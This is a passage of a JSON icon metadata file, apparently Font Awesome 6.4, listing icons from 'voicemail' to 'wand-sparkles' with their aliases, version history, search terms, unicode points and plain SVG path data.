        "secondary": ["10f897"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["answer", "inbox", "message", "phone"]
    },
    "styles": ["solid"],
    "unicode": "f897",
    "label": "Voicemail",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144 320a80 80 0 1 1 0-160 80 80 0 1 1 0 160zm119.8 0c15.3-22.9 24.2-50.4 24.2-80c0-79.5-64.5-144-144-144S0 160.5 0 240s64.5 144 144 144H496c79.5 0 144-64.5 144-144s-64.5-144-144-144s-144 64.5-144 144c0 29.6 8.9 57.1 24.2 80H263.8zM496 160a80 80 0 1 1 0 160 80 80 0 1 1 0-160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144 320a80 80 0 1 1 0-160 80 80 0 1 1 0 160zm119.8 0c15.3-22.9 24.2-50.4 24.2-80c0-79.5-64.5-144-144-144S0 160.5 0 240s64.5 144 144 144H496c79.5 0 144-64.5 144-144s-64.5-144-144-144s-144 64.5-144 144c0 29.6 8.9 57.1 24.2 80H263.8zM496 160a80 80 0 1 1 0 160 80 80 0 1 1 0-160z"
      }
    },
    "free": ["solid"]
  },
  "volcano": {
    "aliases": {
      "unicodes": {
        "composite": ["1f30b"],
        "secondary": ["10f770"]
      }
    },
    "changes": [
      "5.5.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "caldera",
        "eruption",
        "lava",
        "magma",
        "mountain",
        "smoke",
        "volcano"
      ]
    },
    "styles": ["solid"],
    "unicode": "f770",
    "label": "Volcano",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 144c-35.3 0-64-28.7-64-64s28.7-64 64-64c15.7 0 30 5.6 41.2 15C212.4 12.4 232.7 0 256 0s43.6 12.4 54.8 31C322 21.6 336.3 16 352 16c35.3 0 64 28.7 64 64s-28.7 64-64 64c-14.7 0-28.3-5-39.1-13.3l-32 48C275.3 187 266 192 256 192s-19.3-5-24.9-13.3l-32-48C188.3 139 174.7 144 160 144zM144 352l48.4-24.2c10.2-5.1 21.6-7.8 33-7.8c19.6 0 38.4 7.8 52.2 21.6l32.5 32.5c6.3 6.3 14.9 9.9 23.8 9.9c11.3 0 21.8-5.6 28-15l9.7-14.6-58.9-66.3c-9.1-10.2-22.2-16.1-35.9-16.1H235.1c-13.7 0-26.8 5.9-35.9 16.1l-59.9 67.4L144 352zm19.4-95.8c18.2-20.5 44.3-32.2 71.8-32.2h41.8c27.4 0 53.5 11.7 71.8 32.2l150.2 169c8.5 9.5 13.2 21.9 13.2 34.7c0 28.8-23.4 52.2-52.2 52.2H52.2C23.4 512 0 488.6 0 459.8c0-12.8 4.7-25.1 13.2-34.7l150.2-169z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M160 144c-35.3 0-64-28.7-64-64s28.7-64 64-64c15.7 0 30 5.6 41.2 15C212.4 12.4 232.7 0 256 0s43.6 12.4 54.8 31C322 21.6 336.3 16 352 16c35.3 0 64 28.7 64 64s-28.7 64-64 64c-14.7 0-28.3-5-39.1-13.3l-32 48C275.3 187 266 192 256 192s-19.3-5-24.9-13.3l-32-48C188.3 139 174.7 144 160 144zM144 352l48.4-24.2c10.2-5.1 21.6-7.8 33-7.8c19.6 0 38.4 7.8 52.2 21.6l32.5 32.5c6.3 6.3 14.9 9.9 23.8 9.9c11.3 0 21.8-5.6 28-15l9.7-14.6-58.9-66.3c-9.1-10.2-22.2-16.1-35.9-16.1H235.1c-13.7 0-26.8 5.9-35.9 16.1l-59.9 67.4L144 352zm19.4-95.8c18.2-20.5 44.3-32.2 71.8-32.2h41.8c27.4 0 53.5 11.7 71.8 32.2l150.2 169c8.5 9.5 13.2 21.9 13.2 34.7c0 28.8-23.4 52.2-52.2 52.2H52.2C23.4 512 0 488.6 0 459.8c0-12.8 4.7-25.1 13.2-34.7l150.2-169z"
      }
    },
    "free": ["solid"]
  },
  "volleyball": {
    "aliases": {
      "names": ["volleyball-ball"],
      "unicodes": {
        "composite": ["1f3d0"],
        "secondary": ["10f45f"]
      }
    },
    "changes": ["5.0.5", "5.8.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ball", "beach", "game", "olympics", "sport", "volleyball"]
    },
    "styles": ["solid"],
    "unicode": "f45f",
    "label": "Volleyball",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M511.8 267.4c-26.1 8.7-53.4 13.8-81 15.1c9.2-105.3-31.5-204.2-103.2-272.4C434.1 41.1 512 139.5 512 256c0 3.8-.1 7.6-.2 11.4zm-3.9 34.7c-5.8 32-17.6 62-34.2 88.7c-97.5 48.5-217.7 42.6-311.9-24.5c23.7-36.2 55.4-67.7 94.5-91.8c79.9 43.2 170.1 50.8 251.6 27.6zm-236-55.5c-2.5-90.9-41.1-172.7-101.9-231.7C196.8 5.2 225.8 0 256 0c2.7 0 5.3 0 7.9 .1c90.8 60.2 145.7 167.2 134.7 282.3c-43.1-2.4-86.4-14.1-126.8-35.9zM138 28.8c20.6 18.3 38.7 39.4 53.7 62.6C95.9 136.1 30.6 220.8 7.3 316.9C2.5 297.4 0 277 0 256C0 157.2 56 71.5 138 28.8zm69.6 90.5c19.5 38.6 31 81.9 32.3 127.7C162.5 294.6 110.9 368.9 90.2 451C66 430.4 45.6 405.4 30.4 377.2c6.7-108.7 71.9-209.9 177.1-257.9zM256 512c-50.7 0-98-14.7-137.8-40.2c5.6-27 14.8-53.1 27.4-77.7C232.2 454.6 338.1 468.8 433 441c-46 44-108.3 71-177 71z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M511.8 267.4c-26.1 8.7-53.4 13.8-81 15.1c9.2-105.3-31.5-204.2-103.2-272.4C434.1 41.1 512 139.5 512 256c0 3.8-.1 7.6-.2 11.4zm-3.9 34.7c-5.8 32-17.6 62-34.2 88.7c-97.5 48.5-217.7 42.6-311.9-24.5c23.7-36.2 55.4-67.7 94.5-91.8c79.9 43.2 170.1 50.8 251.6 27.6zm-236-55.5c-2.5-90.9-41.1-172.7-101.9-231.7C196.8 5.2 225.8 0 256 0c2.7 0 5.3 0 7.9 .1c90.8 60.2 145.7 167.2 134.7 282.3c-43.1-2.4-86.4-14.1-126.8-35.9zM138 28.8c20.6 18.3 38.7 39.4 53.7 62.6C95.9 136.1 30.6 220.8 7.3 316.9C2.5 297.4 0 277 0 256C0 157.2 56 71.5 138 28.8zm69.6 90.5c19.5 38.6 31 81.9 32.3 127.7C162.5 294.6 110.9 368.9 90.2 451C66 430.4 45.6 405.4 30.4 377.2c6.7-108.7 71.9-209.9 177.1-257.9zM256 512c-50.7 0-98-14.7-137.8-40.2c5.6-27 14.8-53.1 27.4-77.7C232.2 454.6 338.1 468.8 433 441c-46 44-108.3 71-177 71z"
      }
    },
    "free": ["solid"]
  },
  "volume-high": {
    "aliases": {
      "names": ["volume-up"],
      "unicodes": {
        "composite": ["1f50a"],
        "secondary": ["10f028"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "higher",
        "loud",
        "louder",
        "music",
        "sound",
        "speaker",
        "speaker high volume"
      ]
    },
    "styles": ["solid"],
    "unicode": "f028",
    "label": "Volume High",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M533.6 32.5C598.5 85.3 640 165.8 640 256s-41.5 170.8-106.4 223.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C557.5 398.2 592 331.2 592 256s-34.5-142.2-88.7-186.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zM473.1 107c43.2 35.2 70.9 88.9 70.9 149s-27.7 113.8-70.9 149c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C475.3 341.3 496 301.1 496 256s-20.7-85.3-53.2-111.8c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zm-60.5 74.5C434.1 199.1 448 225.9 448 256s-13.9 56.9-35.4 74.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C393.1 284.4 400 271 400 256s-6.9-28.4-17.7-37.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zM301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M533.6 32.5C598.5 85.3 640 165.8 640 256s-41.5 170.8-106.4 223.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C557.5 398.2 592 331.2 592 256s-34.5-142.2-88.7-186.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zM473.1 107c43.2 35.2 70.9 88.9 70.9 149s-27.7 113.8-70.9 149c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C475.3 341.3 496 301.1 496 256s-20.7-85.3-53.2-111.8c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zm-60.5 74.5C434.1 199.1 448 225.9 448 256s-13.9 56.9-35.4 74.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C393.1 284.4 400 271 400 256s-6.9-28.4-17.7-37.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5zM301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3z"
      }
    },
    "free": ["solid"]
  },
  "volume-low": {
    "aliases": {
      "names": ["volume-down"],
      "unicodes": {
        "composite": ["1f508"],
        "secondary": ["10f027"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "audio",
        "lower",
        "music",
        "quieter",
        "soft",
        "sound",
        "speaker",
        "speaker low volume"
      ]
    },
    "styles": ["solid"],
    "unicode": "f027",
    "label": "Volume Low",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766677,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3zM412.6 181.5C434.1 199.1 448 225.9 448 256s-13.9 56.9-35.4 74.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C393.1 284.4 400 271 400 256s-6.9-28.4-17.7-37.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3zM412.6 181.5C434.1 199.1 448 225.9 448 256s-13.9 56.9-35.4 74.5c-10.3 8.4-25.4 6.8-33.8-3.5s-6.8-25.4 3.5-33.8C393.1 284.4 400 271 400 256s-6.9-28.4-17.7-37.3c-10.3-8.4-11.8-23.5-3.5-33.8s23.5-11.8 33.8-3.5z"
      }
    },
    "free": ["solid"]
  },
  "volume-off": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f026"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["audio", "ban", "music", "mute", "quiet", "silent", "sound"]
    },
    "styles": ["solid"],
    "unicode": "f026",
    "label": "Volume Off",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M320 64c0-12.6-7.4-24-18.9-29.2s-25-3.1-34.4 5.3L131.8 160H64c-35.3 0-64 28.7-64 64v64c0 35.3 28.7 64 64 64h67.8L266.7 471.9c9.4 8.4 22.9 10.4 34.4 5.3S320 460.6 320 448V64z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M320 64c0-12.6-7.4-24-18.9-29.2s-25-3.1-34.4 5.3L131.8 160H64c-35.3 0-64 28.7-64 64v64c0 35.3 28.7 64 64 64h67.8L266.7 471.9c9.4 8.4 22.9 10.4 34.4 5.3S320 460.6 320 448V64z"
      }
    },
    "free": ["solid"]
  },
  "volume-xmark": {
    "aliases": {
      "names": ["volume-mute", "volume-times"],
      "unicodes": {
        "secondary": ["10f6a9"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["audio", "music", "quiet", "sound", "speaker"]
    },
    "styles": ["solid"],
    "unicode": "f6a9",
    "label": "Volume Xmark",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3zM425 167l55 55 55-55c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-55 55 55 55c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-55-55-55 55c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l55-55-55-55c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M301.1 34.8C312.6 40 320 51.4 320 64V448c0 12.6-7.4 24-18.9 29.2s-25 3.1-34.4-5.3L131.8 352H64c-35.3 0-64-28.7-64-64V224c0-35.3 28.7-64 64-64h67.8L266.7 40.1c9.4-8.4 22.9-10.4 34.4-5.3zM425 167l55 55 55-55c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-55 55 55 55c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-55-55-55 55c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l55-55-55-55c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "vr-cardboard": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f729"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["3d", "augment", "google", "reality", "virtual"]
    },
    "styles": ["solid"],
    "unicode": "f729",
    "label": "Vr Cardboard",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M576 64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H184.4c24.2 0 46.4-13.7 57.2-35.4l32-64c8.8-17.5 26.7-28.6 46.3-28.6s37.5 11.1 46.3 28.6l32 64c10.8 21.7 33 35.4 57.2 35.4H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64zM96 240a64 64 0 1 1 128 0A64 64 0 1 1 96 240zm384-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M576 64H64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H184.4c24.2 0 46.4-13.7 57.2-35.4l32-64c8.8-17.5 26.7-28.6 46.3-28.6s37.5 11.1 46.3 28.6l32 64c10.8 21.7 33 35.4 57.2 35.4H576c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64zM96 240a64 64 0 1 1 128 0A64 64 0 1 1 96 240zm384-64a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["solid"]
  },
  "vuejs": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41f",
    "label": "Vue.js",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M356.9 64.3H280l-56 88.6-48-88.6H0L224 448 448 64.3h-91.1zm-301.2 32h53.8L224 294.5 338.4 96.3h53.8L224 384.5 55.7 96.3z"
      }
    },
    "free": ["brands"]
  },
  "w": {
    "aliases": {
      "unicodes": {
        "composite": ["77"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter W", "Latin Small Letter W", "letter"]
    },
    "styles": ["solid"],
    "unicode": "57",
    "label": "W",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M20.8 34c16.5-6.2 35 2.2 41.2 18.7l110.2 294L257.3 55c4-13.7 16.5-23 30.7-23s26.7 9.4 30.7 23l85.1 291.7L514 52.8c6.2-16.5 24.6-24.9 41.2-18.7s24.9 24.7 18.7 41.2l-144 384c-4.8 12.9-17.4 21.3-31.2 20.7s-25.7-9.8-29.5-23L288 178.3 206.7 457c-3.9 13.2-15.8 22.5-29.5 23s-26.3-7.8-31.2-20.7L2 75.2C-4.2 58.7 4.2 40.2 20.8 34z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M20.8 34c16.5-6.2 35 2.2 41.2 18.7l110.2 294L257.3 55c4-13.7 16.5-23 30.7-23s26.7 9.4 30.7 23l85.1 291.7L514 52.8c6.2-16.5 24.6-24.9 41.2-18.7s24.9 24.7 18.7 41.2l-144 384c-4.8 12.9-17.4 21.3-31.2 20.7s-25.7-9.8-29.5-23L288 178.3 206.7 457c-3.9 13.2-15.8 22.5-29.5 23s-26.3-7.8-31.2-20.7L2 75.2C-4.2 58.7 4.2 40.2 20.8 34z"
      }
    },
    "free": ["solid"]
  },
  "walkie-talkie": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f8ef"]
      }
    },
    "changes": ["5.11.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "communication",
        "copy",
        "intercom",
        "over",
        "portable",
        "radio",
        "two way radio"
      ]
    },
    "styles": ["solid"],
    "unicode": "f8ef",
    "label": "Walkie Talkie",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M112 24c0-13.3-10.7-24-24-24S64 10.7 64 24V96H48C21.5 96 0 117.5 0 144V300.1c0 12.7 5.1 24.9 14.1 33.9l3.9 3.9c9 9 14.1 21.2 14.1 33.9V464c0 26.5 21.5 48 48 48H304c26.5 0 48-21.5 48-48V371.9c0-12.7 5.1-24.9 14.1-33.9l3.9-3.9c9-9 14.1-21.2 14.1-33.9V144c0-26.5-21.5-48-48-48H320c0-17.7-14.3-32-32-32s-32 14.3-32 32H224c0-17.7-14.3-32-32-32s-32 14.3-32 32H112V24zm0 136H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M112 24c0-13.3-10.7-24-24-24S64 10.7 64 24V96H48C21.5 96 0 117.5 0 144V300.1c0 12.7 5.1 24.9 14.1 33.9l3.9 3.9c9 9 14.1 21.2 14.1 33.9V464c0 26.5 21.5 48 48 48H304c26.5 0 48-21.5 48-48V371.9c0-12.7 5.1-24.9 14.1-33.9l3.9-3.9c9-9 14.1-21.2 14.1-33.9V144c0-26.5-21.5-48-48-48H320c0-17.7-14.3-32-32-32s-32 14.3-32 32H224c0-17.7-14.3-32-32-32s-32 14.3-32 32H112V24zm0 136H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "wallet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f555"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["billfold", "cash", "currency", "money"]
    },
    "styles": ["solid"],
    "unicode": "f555",
    "label": "Wallet",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H80c-8.8 0-16-7.2-16-16s7.2-16 16-16H448c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM416 272a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H80c-8.8 0-16-7.2-16-16s7.2-16 16-16H448c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM416 272a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "wand-magic": {
    "aliases": {
      "names": ["magic"],
      "unicodes": {
        "secondary": ["10f0d0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "autocomplete",
        "automatic",
        "mage",
        "magic",
        "spell",
        "wand",
        "witch",
        "wizard"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0d0",
    "label": "Wand Magic",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M14.1 463.3c-18.7-18.7-18.7-49.1 0-67.9L395.4 14.1c18.7-18.7 49.1-18.7 67.9 0l34.6 34.6c18.7 18.7 18.7 49.1 0 67.9L116.5 497.9c-18.7 18.7-49.1 18.7-67.9 0L14.1 463.3zM347.6 187.6l105-105L429.4 59.3l-105 105 23.3 23.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M14.1 463.3c-18.7-18.7-18.7-49.1 0-67.9L395.4 14.1c18.7-18.7 49.1-18.7 67.9 0l34.6 34.6c18.7 18.7 18.7 49.1 0 67.9L116.5 497.9c-18.7 18.7-49.1 18.7-67.9 0L14.1 463.3zM347.6 187.6l105-105L429.4 59.3l-105 105 23.3 23.3z"
      }
    },
    "free": ["solid"]
  },
  "wand-magic-sparkles": {
    "aliases": {
      "names": ["magic-wand-sparkles"]
    },
    "changes": ["6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["auto", "magic", "magic wand", "trick", "witch", "wizard"]
    },
    "styles": ["solid"],
    "unicode": "e2ca",
    "label": "Wand Magic Sparkles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M234.7 42.7L197 56.8c-3 1.1-5 4-5 7.2s2 6.1 5 7.2l37.7 14.1L248.8 123c1.1 3 4 5 7.2 5s6.1-2 7.2-5l14.1-37.7L315 71.2c3-1.1 5-4 5-7.2s-2-6.1-5-7.2L277.3 42.7 263.2 5c-1.1-3-4-5-7.2-5s-6.1 2-7.2 5L234.7 42.7zM46.1 395.4c-18.7 18.7-18.7 49.1 0 67.9l34.6 34.6c18.7 18.7 49.1 18.7 67.9 0L529.9 116.5c18.7-18.7 18.7-49.1 0-67.9L495.3 14.1c-18.7-18.7-49.1-18.7-67.9 0L46.1 395.4zM484.6 82.6l-105 105-23.3-23.3 105-105 23.3 23.3zM7.5 117.2C3 118.9 0 123.2 0 128s3 9.1 7.5 10.8L64 160l21.2 56.5c1.7 4.5 6 7.5 10.8 7.5s9.1-3 10.8-7.5L128 160l56.5-21.2c4.5-1.7 7.5-6 7.5-10.8s-3-9.1-7.5-10.8L128 96 106.8 39.5C105.1 35 100.8 32 96 32s-9.1 3-10.8 7.5L64 96 7.5 117.2zm352 256c-4.5 1.7-7.5 6-7.5 10.8s3 9.1 7.5 10.8L416 416l21.2 56.5c1.7 4.5 6 7.5 10.8 7.5s9.1-3 10.8-7.5L480 416l56.5-21.2c4.5-1.7 7.5-6 7.5-10.8s-3-9.1-7.5-10.8L480 352l-21.2-56.5c-1.7-4.5-6-7.5-10.8-7.5s-9.1 3-10.8 7.5L416 352l-56.5 21.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M234.7 42.7L197 56.8c-3 1.1-5 4-5 7.2s2 6.1 5 7.2l37.7 14.1L248.8 123c1.1 3 4 5 7.2 5s6.1-2 7.2-5l14.1-37.7L315 71.2c3-1.1 5-4 5-7.2s-2-6.1-5-7.2L277.3 42.7 263.2 5c-1.1-3-4-5-7.2-5s-6.1 2-7.2 5L234.7 42.7zM46.1 395.4c-18.7 18.7-18.7 49.1 0 67.9l34.6 34.6c18.7 18.7 49.1 18.7 67.9 0L529.9 116.5c18.7-18.7 18.7-49.1 0-67.9L495.3 14.1c-18.7-18.7-49.1-18.7-67.9 0L46.1 395.4zM484.6 82.6l-105 105-23.3-23.3 105-105 23.3 23.3zM7.5 117.2C3 118.9 0 123.2 0 128s3 9.1 7.5 10.8L64 160l21.2 56.5c1.7 4.5 6 7.5 10.8 7.5s9.1-3 10.8-7.5L128 160l56.5-21.2c4.5-1.7 7.5-6 7.5-10.8s-3-9.1-7.5-10.8L128 96 106.8 39.5C105.1 35 100.8 32 96 32s-9.1 3-10.8 7.5L64 96 7.5 117.2zm352 256c-4.5 1.7-7.5 6-7.5 10.8s3 9.1 7.5 10.8L416 416l21.2 56.5c1.7 4.5 6 7.5 10.8 7.5s9.1-3 10.8-7.5L480 416l56.5-21.2c4.5-1.7 7.5-6 7.5-10.8s-3-9.1-7.5-10.8L480 352l-21.2-56.5c-1.7-4.5-6-7.5-10.8-7.5s-9.1 3-10.8 7.5L416 352l-56.5 21.2z"
      }
    },
    "free": ["solid"]
  },
  "wand-sparkles": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f72b"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "autocomplete",
        "automatic",
        "fantasy",
        "halloween",
        "holiday",
        "magic",
        "weapon",
        "witch",
        "wizard"
      ]
